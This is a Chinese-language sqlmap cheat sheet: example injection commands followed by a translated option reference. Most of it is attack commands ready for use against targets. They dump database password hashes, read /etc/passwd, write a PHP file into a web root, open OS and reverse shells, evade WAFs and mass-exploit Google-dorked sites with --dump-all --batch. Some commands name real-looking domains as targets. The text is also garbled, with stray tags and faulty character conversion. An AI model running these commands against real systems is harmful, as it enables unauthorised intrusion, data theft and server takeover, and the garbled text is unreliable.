/pentest/database/sqlmap/txt/php
common-columns.txt 字段字典html
common-outputs.txtpython
common-tables.txt 表字典mysql
keywords.txtweb
oracle-default-passwords.txt正則表達式
user-agents.txtsql
wordlist.txtshell
經常使用語句:數據庫
一、使用POST方法提交ubuntu
sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/post_int.php" --method POST --data "id=1"
二、使用COOKIES方式提交,cookie的值用;分割,能夠使用TamperData來抓cookies
python sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1
三、使用referer欺騙
python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3
四、使用自定義user-agent,或者使用隨機使用自帶的user-agents.txt
python sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "URL" -v 1 -a "./txt/user-agents.txt"
五、使用基本認證
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3
六、使用Digest認證
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3
七、使用代理,配合TOR
python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"
python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"
八、使用多線程猜解
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3
九、繞過動態檢測,直接指定有注入點的參數,能夠使用,分割多個參數,指定user-agent注入
python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id
python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
十、指定數據庫,繞過SQLMAP的自動檢測
python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
十一、指定操做系統,繞過SQLMAP自動檢測
python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"
* Linux
* Windows
十二、自定義payload
Options: --prefix and --postfix
1三、頁面比較
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "<td>lu[\w][\w]er" -v
1四、排除網站的內容
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"
1五、多語句測試,php內嵌函數mysql_query(),不支持多語句
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1
1六、union注入測試
python sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/get_int.php?id=1" --union-test -v 1
1七、unionz注入配合orderby
python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1
python sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user
python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs
fingerprint
python sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/get_int.php?id=1" -v 1 -f
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
簡單的注入流程 #這部分來自: 網絡安全攻防研究室(www.91ri.org)
1.讀取數據庫版本,當前用戶,當前數據庫
sqlmap -u http://www.91ri.org/ test.php?p=2 -f -b –current-user –current-db -v 1
2.判斷當前數據庫用戶權限
sqlmap -u http://www.91ri.org/ test.php?p=2 –privileges -U 用戶名 -v 1
sqlmap -u http://www.91ri.org/ test.php?p=2 –is-dba -U 用戶名 -v 1
3.讀取全部數據庫用戶或指定數據庫用戶的密碼
sqlmap -u http://www.91ri.org/ test.php?p=2 –users –passwords -v 2
sqlmap -u http://www.91ri.org/ test.php?p=2 –passwords -U root -v 2
4.獲取全部數據庫
sqlmap -u http://www.91ri.org/ test.php?p=2 –dbs -v 2
5.獲取指定數據庫中的全部表
sqlmap -u http://www.91ri.org/ test.php?p=2 –tables -D mysql -v 2
6.獲取指定數據庫名中指定表的字段
sqlmap -u http://www.91ri.org/ test.php?p=2 –columns -D mysql -T users -v 2
7.獲取指定數據庫名中指定表中指定字段的數據
sqlmap -u http://www.91ri.org/ test.php?p=2 –dump -D mysql -T users -C 「username,password」 -s 「sqlnmapdb.log」 -v 2
8.file-read讀取web文件
sqlmap -u http://www.91ri.org/ test.php?p=2 –file-read 「/etc/passwd」 -v 2
9.file-write寫入文件到web
sqlmap -u http://www.91ri.org/ test.php?p=2 –file-write /localhost/mm.php –file-dest /var/www/html/xx.php -v 2
sqlmap -u 「http://url/news?id=1″ --dbms 「Mysql」 –users # dbms 指定數據庫類型
sqlmap -u 「http://url/news?id=1″ --users #列數據庫用戶
sqlmap -u 「http://url/news?id=1″ --dbs#列數據庫
sqlmap -u 「http://url/news?id=1″ --passwords #數據庫用戶密碼
sqlmap -u 「http://url/news?id=1″ --passwords-U root -v 0 #列出指定用戶 數據庫密碼
sqlmap -u 「http://url/news?id=1″ --dump -C 「password,user,id」 -T 「tablename」-D 「db_name」
–start 1 –stop 20 #列出指定字段,列出20 條
sqlmap -u 「http://url/news?id=1″ --dump-all -v 0 #列出全部數據庫全部表
sqlmap -u 「http://url/news?id=1″ --privileges #查看權限
sqlmap -u 「http://url/news?id=1″ --privileges -U root #查看指定用戶權限sqlmap -u 「http://url/news?id=1″ –is-dba -v 1 #是不是數據庫管理員sqlmap -u 「http://url/news?id=1″ –roles #枚舉數據庫用戶角色
sqlmap -u 「http://url/news?id=1″ --udf-inject #導入用戶自定義函數(獲取 系統權限!)
sqlmap -u 「http://url/news?id=1″ --dump-all –exclude-sysdbs -v 0 #列 出當前庫全部表
sqlmap -u 「http://url/news?id=1″ --union-cols #union 查詢表記錄
sqlmap -u 「http://url/news?id=1″ --cookie 「COOKIE_VALUE」#cookie注入
sqlmap -u 「http://url/news?id=1″ -b #獲取banner信息
sqlmap -u 「http://url/news?id=1″ --data 「id=3″#post注入
sqlmap -u 「http://url/news?id=1″ -v 1 -f #指紋判別數據庫類型
sqlmap -u 「http://url/news?id=1″ --proxy「http://127.0.0.1:8118」 #代理注 入
sqlmap -u 「http://url/news?id=1″ --string」STRING_ON_TRUE_PAGE」# 指 定關鍵詞
sqlmap -u 「http://url/news?id=1″ --sql-shell #執行指定sql命令
sqlmap -u 「http://url/news?id=1″ --file /etc/passwd
sqlmap -u 「http://url/news?id=1″ --os-cmd=whoami #執行系統命令
sqlmap -u 「http://url/news?id=1″ --os-shell #系統交互shell sqlmap -u 「http://url/news?id=1″ –os-pwn #反彈shell
sqlmap -u 「http://url/news?id=1″ --reg-read #讀取win系統註冊表
sqlmap -u 「http://url/news?id=1″ --dbs-o 「sqlmap.log」#保存進度
sqlmap -u 「http://url/news?id=1″ --dbs -o 「sqlmap.log」 –resume #恢復 已保存進度
***********高級用法*************
-p name 多個參數如index.php?n_id=1&name=2&data=2020 咱們想指定name參數進行注入
sqlmap -g 「google語法」 –dump-all –batch #google搜索注入點自動 跑出 全部字段 需保證google.com能正常訪問
–technique 測試指定注入類型\使用的技術
不加參數默認測試全部注入技術
? B: 基於布爾的SQL 盲注
? E: 基於顯錯sql 注入
? U: 基於UNION 注入
? S: 疊層sql 注入
? T: 基於時間盲注
--tamper 經過編碼繞過WEB 防火牆(WAF)Sqlmap 默認用char()
--tamper 插件所在目錄
\sqlmap-dev\tamper
sqlmap -u 「http:// www.2cto.com /news?id=1″ --smart --level 3 --users --smart 智 能
level 執行測試等級 攻擊實例:
Sqlmap -u 「http://url/news?id=1&Submit=Submit」
--cookie=」PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ --string=」Surname」 --dbms=mysql --user
--password
參考文檔:http://sqlmap.sourceforge.net/doc/README.html
***********安裝最新版本*************
ubuntu 經過apt-get install 安裝的sqlmap版本爲0.6 咱們經過svn 來安裝 爲 最新1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝的位置爲:/home/當前用戶/sqlmap-dev/sqlmap.py 直接執行/home/當前用戶/sqlmap-dev/sqlmap.py –version 這樣很不方便 咱們能夠設置.bashrc 文件
sudo vim /home/當前用戶/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 該環境變量只對當前用戶有效
若是想對全部用戶有效 可設置全局 編輯下面的文件
vim /etc/profile
一樣加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重啓生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安裝python
http://www.sliksvn.com/en/download 安裝windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝sqlmap
*修改環境變量
--version 顯示程序的版本號並退出
-h, --help 顯示此幫助消息並退出
-v VERBOSE 詳細級別:0-6(默認爲1)
Target(目標): 如下至少須要設置其中一個選項,設置目標URL。
-d DIRECT 直接鏈接到數據庫。
-u URL, –url=URL 目標URL。
-l LIST 從Burp 或WebScarab 代理的日誌中解析目標。
-r REQUESTFILE 從一個文件中載入HTTP 請求。
-g GOOGLEDORK 處理Google dork 的結果做爲目標URL。
-c CONFIGFILE 從INI 配置文件中加載選項。
Request(請求)::
這些選項能夠用來指定如何鏈接到目標URL。
--data=DATA 經過POST 發送的數據字符串
--cookie=COOKIE HTTP Cookie 頭
--cookie-urlencode URL 編碼生成的cookie 注入
--drop-set-cookie 忽略響應的Set –Cookie 頭信息
--user-agent=AGENT 指定 HTTP User –Agent 頭
--random-agent 使用隨機選定的HTTP User –Agent 頭
--referer=REFERER 指定 HTTP Referer 頭
--headers=HEADERS 換行分開,加入其餘的HTTP 頭
--auth-type=ATYPE HTTP 身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)
--auth-cred=ACRED HTTP 身份驗證憑據(用戶名:密碼)
--auth-cert=ACERT HTTP 認證證書(key_file,cert_file)
--proxy=PROXY 使用HTTP 代理鏈接到目標URL
--proxy-cred=PCRED HTTP 代理身份驗證憑據(用戶名:密碼)
--ignore-proxy 忽略系統默認的HTTP 代理
–delay=DELAY 在每一個HTTP 請求之間的延遲時間,單位爲秒
--timeout=TIMEOUT 等待鏈接超時的時間(默認爲30 秒)
--retries=RETRIES 鏈接超時後從新鏈接的時間(默認3)
--scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表達式
--safe-url=SAFURL 在測試過程當中常常訪問的url 地址
--safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL
Optimization(優化): 這些選項可用於優化SqlMap 的性能。
-o 開啓全部優化開關
--predict-output 預測常見的查詢輸出
--keep-alive 使用持久的HTTP(S)鏈接
--null-connection 從沒有實際的HTTP 響應體中檢索頁面長度
--threads=THREADS 最大的HTTP(S)請求併發量(默認爲1)
Injection(注入):
這些選項能夠用來指定測試哪些參數, 提供自定義的注入payloads 和可選篡改腳本。
-p TESTPARAMETER 可測試的參數(S)
--dbms=DBMS 強制後端的DBMS 爲此值
--os=OS 強制後端的DBMS 操做系統爲這個值
--prefix=PREFIX 注入payload 字符串前綴
--suffix=SUFFIX 注入 payload 字符串後綴
--tamper=TAMPER 使用給定的腳本(S)篡改注入數據
Detection(檢測):
這些選項能夠用來指定在SQL 盲注時如何解析和比較HTTP 響應頁面的內容。
--level=LEVEL 執行測試的等級(1-5,默認爲1)
--risk=RISK 執行測試的風險(0-3,默認爲1)
--string=STRING 查詢時有效時在頁面匹配字符串
--regexp=REGEXP 查詢時有效時在頁面匹配正則表達式
--text-only 僅基於在文本內容比較網頁
Techniques(技巧): 這些選項可用於調整具體的SQL 注入測試。
--technique=TECH SQL 注入技術測試(默認BEUST)
--tiime-sec=TIMESEC DBMS 響應的延遲時間(默認爲5 秒)
--union-cols=UCOLS 定列範圍用於測試UNION 查詢注入
--union-char=UCHAR 用於暴力猜解列數的字符
Fingerprint(指紋):
-f, –fingerprint 執行檢查普遍的DBMS 版本指紋
Enumeration(枚舉):
這些選項能夠用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還能夠運行您本身 的SQL 語句。
-b, –banner 檢索數據庫管理系統的標識
--current-user 檢索數據庫管理系統當前用戶
--current-db 檢索數據庫管理系統當前數據庫
--is-dba 檢測DBMS 當前用戶是否DBA
--users 枚舉數據庫管理系統用戶
--passwords 枚舉數據庫管理系統用戶密碼哈希
--privileges 枚舉數據庫管理系統用戶的權限
--roles 枚舉數據庫管理系統用戶的角色
--dbs 枚舉數據庫管理系統數據庫
--tables 枚舉的DBMS 數據庫中的表
--columns 枚舉DBMS 數據庫表列
--dump 轉儲數據庫管理系統的數據庫中的表項
--dump-all 轉儲全部的DBMS 數據庫表中的條目
--search 搜索列(S),表(S)和/或數據庫名稱(S)
-D DB 要進行枚舉的數據庫名
-T TBL 要進行枚舉的數據庫表
-C COL 要進行枚舉的數據庫列
-U USER 用來進行枚舉的數據庫用戶
--exclude-sysdbs 枚舉表時排除系統數據庫
--start=LIMITSTART 第一個查詢輸出進入檢索
--stop=LIMITSTOP 最後查詢的輸出進入檢索
--first=FIRSTCHAR 第一個查詢輸出字的字符檢索
--last=LASTCHAR 最後查詢的輸出字字符檢索
--sql-query=QUERY 要執行的SQL 語句
--sql-shell 提示交互式SQL 的shell
Brute force(蠻力): 這些選項能夠被用來運行蠻力檢查。
--common-tables 檢查存在共同表
--common-columns 檢查存在共同列
User-defined function injection(用戶自定義函數注入): 這些選項能夠用來建立用戶自定義函數。
--udf-inject 注入用戶自定義函數
--shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問文件系統): 這些選項能夠被用來訪問後端數據庫管理系統的底層文件系統。
--file-read=RFILE 從後端的數據庫管理系統文件系統讀取文件
--file-write=WFILE 編輯後端的數據庫管理系統文件系統上的本地文件
--file-dest=DFILE 後端的數據庫管理系統寫入文件的絕對路徑
Operating system access(操做系統訪問): 這些選項能夠用於訪問後端數據庫管理系統的底層操做系統。
--os-cmd=OSCMD 執行操做系統命令
--os-shell 交互式的操做系統的shell
--os-pwn 獲取一個OOB shell,meterpreter 或VNC
--os-smbrelay 一鍵獲取一個OOB shell,meterpreter 或VNC
--os-bof 存儲過程緩衝區溢出利用
--priv-esc 數據庫進程用戶權限提高
--msf-path=MSFPATH Metasploit Framework 本地的安裝路徑
--tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑
Windows 註冊表訪問: 這些選項能夠被用來訪問後端數據庫管理系統Windows 註冊表。
--reg-read 讀一個Windows 註冊表項值
--reg-add 寫一個Windows 註冊表項值數據
--reg-del 刪除Windows 註冊表鍵值
--reg-key=REGKEY Windows 註冊表鍵
--reg-value=REGVAL Windows 註冊表項值
--reg-data=REGDATA Windows 註冊表鍵值數據
--reg-type=REGTYPE Windows 註冊表項值類型
General(通常): 這些選項能夠用來設置一些通常的工做參數。
-t TRAFFICFILE 記錄全部HTTP 流量到一個文本文件中
-s SESSIONFILE 保存和恢復檢索會話文件的全部數據
--flush-session 刷新當前目標的會話文件
--fresh-queries 忽略在會話文件中存儲的查詢結果
--eta 顯示每一個輸出的預計到達時間
--update 更新SqlMap
--save file 保存選項到INI 配置文件
--batch 從不詢問用戶輸入,使用全部默認配置。
Miscellaneous(雜項):
--beep 發現SQL 注入時提醒
--check-payload IDS 對注入payloads 的檢測測試
--cleanup SqlMap 具體的UDF 和表清理DBMS
--forms 對目標URL 的解析和測試形式
--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork 結果
--page-rank Google dork 結果顯示網頁排名(PR)
--parse-errors 從響應頁面解析數據庫管理系統的錯誤消息
--replicate 複製轉儲的數據到一個sqlite3 數據庫
--tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址
--wizard 給初級用戶的簡單向導界面